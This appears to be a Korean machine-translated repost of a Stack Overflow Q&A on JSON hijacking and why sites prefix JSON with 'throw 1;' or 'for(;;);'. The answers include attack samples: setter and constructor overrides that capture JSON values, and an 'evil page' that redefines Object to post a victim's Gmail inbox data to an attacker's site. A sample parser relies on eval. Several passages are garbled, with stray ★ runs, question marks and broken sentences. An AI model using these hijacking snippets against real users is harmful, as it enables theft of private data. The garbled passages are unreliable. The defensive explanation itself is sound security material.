source

왜 사람들은 json 응답 앞에 "1; " 및 "for(;;)"와 같은 코드를 넣을까요?

goodcode 2022. 9. 8. 21:52
반응형

사람들은 json 응답 에 "1; " "for(;;)"와 같은 코드를 넣을까요?

중복 가능성:
Google이 JSON 응답 앞에 (1)을 추가하는 이유는 무엇입니까?

Google은 다음과 같이 json을 반환합니다.

throw 1; <dont be evil> { foo: bar}

Facebooks ajax에는 다음과 같은 json이 있습니다.

for(;;); {"error":0,"errorSummary": ""}
  • 왜 그들은 실행을 중지하고 무효인 json을 만드는 코드를 넣을까요?
  • 무효일 경우 해석은 어떻게 하고 평가하려고 하면 크래쉬가 발생합니까?
  • 그냥 끈에서 빼는 건가요(비싼 것 같음)?
  • 이에 대한 보안상의 이점이 있습니까?

보안 목적의 대응:

가 다른 .script태그를 지정하여 데이터를 가져옵니다. XHR은 교차 도메인에서 작동하지 않습니다.★★★★★★★★★★★가 없어도for(;;);격자 어어 ?? 이? ?? ???변수에 할당되어 있지 않기 때문에 참조가 없기 때문에 쓰레기 수집이 되지 않을까요?

기본적으로는 여러 도메인에 걸쳐 데이터를 전송해야 합니다.

<script src="http://target.com/json.js"></script>

그러나 크래시 스크립트가 추가되지 않았더라도 공격자는 사용자가 전역적으로 액세스할 수 있는 변수에 할당되지 않은 상태에서 Json 데이터를 사용할 수 없습니다(이 경우 제외).크래시 코드가 없어도 사이트의 데이터를 사용하기 위해 서버 측 스크립트를 사용해야 하기 때문에 크래시 코드는 사실상 아무 것도 하지 않습니다.

★★★★★★★★★★★가 없어도for(;;);격자 어어 ?? 이? ?? ???

, 「」의 동작을 .Object ★★★★★★★★★★★★★★★★★」Array그 컨스트럭터 함수를 prototype이 'JSON'을 {...} ★★★★★★★★★★★★★★★★★」[...]공격자 자신의 버전의 오브젝트이며 예기치 않은 동작이 발생할 수 있습니다.

를 들어를 setter로 할 수 .Object오브젝트 리터럴에 기재되어 있는 값을 나타냅니다.

Object.prototype.__defineSetter__('x', function(x) {
    alert('Ha! I steal '+x);
});

후, 「」가<script>.

{"x": "hello"}

"hello"유출될 수 있습니다.

배열과 오브젝트 리터럴이 설정자를 호출하는 방법은 논란의 여지가 있습니다.파이어폭스는 유명 웹 사이트에 대한 공개 공격에 대응하여 버전 3.5에서 이 동작을 제거했습니다.그러나 Safari(4)와 Chrome(5)는 여전히 이 문제에 취약합니다.

현재 모든 브라우저에서 허용되지 않는 또 다른 공격은 컨스트럭터 함수를 재정의하는 것입니다.

Array= function() {
    alert('I steal '+this);
};

[1, 2, 3]

현시점에서는, IE8의 및 「」(ECMAScript 「5」)에 하고 있습니다.Object.defineProperty 에서는 하지 않습니다.Object.prototype ★★★★★★★★★★★★★★★★★」Array.prototype.

그러나 과거의 브라우저 보호뿐만 아니라 자바스크립트에 대한 확장으로 인해 향후 유사한 종류의 잠재적 유출이 발생할 수 있으며, 이 경우 왕겨도 이러한 브라우저로부터 보호되어야 합니다.

GMail 계정을 확인한 후 내 사악한 페이지를 방문하십시오.

<script type="text/javascript">
Object = function() {
  ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>

앞으로 일어날 일은 구글에서 온 자바스크립트 코드입니다. 질문자는 이 코드가 양성이라고 생각했지만, 곧바로 범위를 벗어났다고 생각했지만, 실제로는 제 사악한 사이트에 게시될 것입니다.송신하는 스크립트태그에 요구된 URL이 있다고 가정합니다(브라우저에 적절한 쿠키가 표시되므로 Google은 사용자가 받은 편지함에 로그인했다고 올바르게 간주합니다).

({
  messages: [
    {
      id: 1,
      subject: 'Super confidential information',
      message: 'Please keep this to yourself: the password is 42'
    },{
      id: 2,
      subject: 'Who stole your password?',
      message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
    }
  ]
})

이제 이 오브젝트의 시리얼 버전을 내 사악한 서버에 게시할 거야.감사해요!

이 문제를 방지하는 방법은 JSON 응답을 교묘하게 수정하여 같은 도메인에서 데이터를 조작할 수 있는 경우 해당 응답을 해독하는 것입니다.이 답변이 마음에 드시면 보빈스가 올린 글을 보세요.

편집

이러한 문자열은 일반적으로 "비교할 수 없는 크러프트"라고 불리며 JSON 사양에 영향을 미치는 정보 유출 취약성을 패치하기 위해 사용됩니다.이 공격은 현실세계이며 Gmail의 취약성은 Jeremia Grossman에 의해 발견되었습니다.또한 Mozilla는 이것이 JSON 사양의 취약성으로 간주되며 Firefox 3에서 패치되어 있습니다.그러나 이 문제는 다른 브라우저에도 영향을 미치기 때문에 호환성이 있는 패치이기 때문에 이 "비교할 수 없는 문제"가 필요합니다.

보비스의 답변은 이 공격에 대한 기술적인 설명을 담고 있고 그것은 옳다.

무효일 경우 해석은 어떻게 하고 평가하려고 하면 크래쉬가 발생합니까?

기능을 사용하면 크래쉬가 발생합니다.evaleval는 사이트 간 스크립팅 공격에 사용할 수 있는 임의의 JavaScript 코드를 허용합니다.

그냥 끈에서 빼는 건가요(비싼 것 같음)?

그렇게 짐작했어요.아마도 다음과 같습니다.

function parseJson(json) {
   json = json.replace("throw 1; <dont be evil>", "");
   if (/* regex to validate the JSON */) {
       return eval(json);
   } else {
       throw "XSS";
   }
}

'악당하지 말라'는 말 때문에 개발자들이eval더 안전한 대안 대신 직접요

언급URL : https://stackoverflow.com/questions/3146798/why-do-people-put-code-like-throw-1-dont-be-evil-and-for-in-front-of

반응형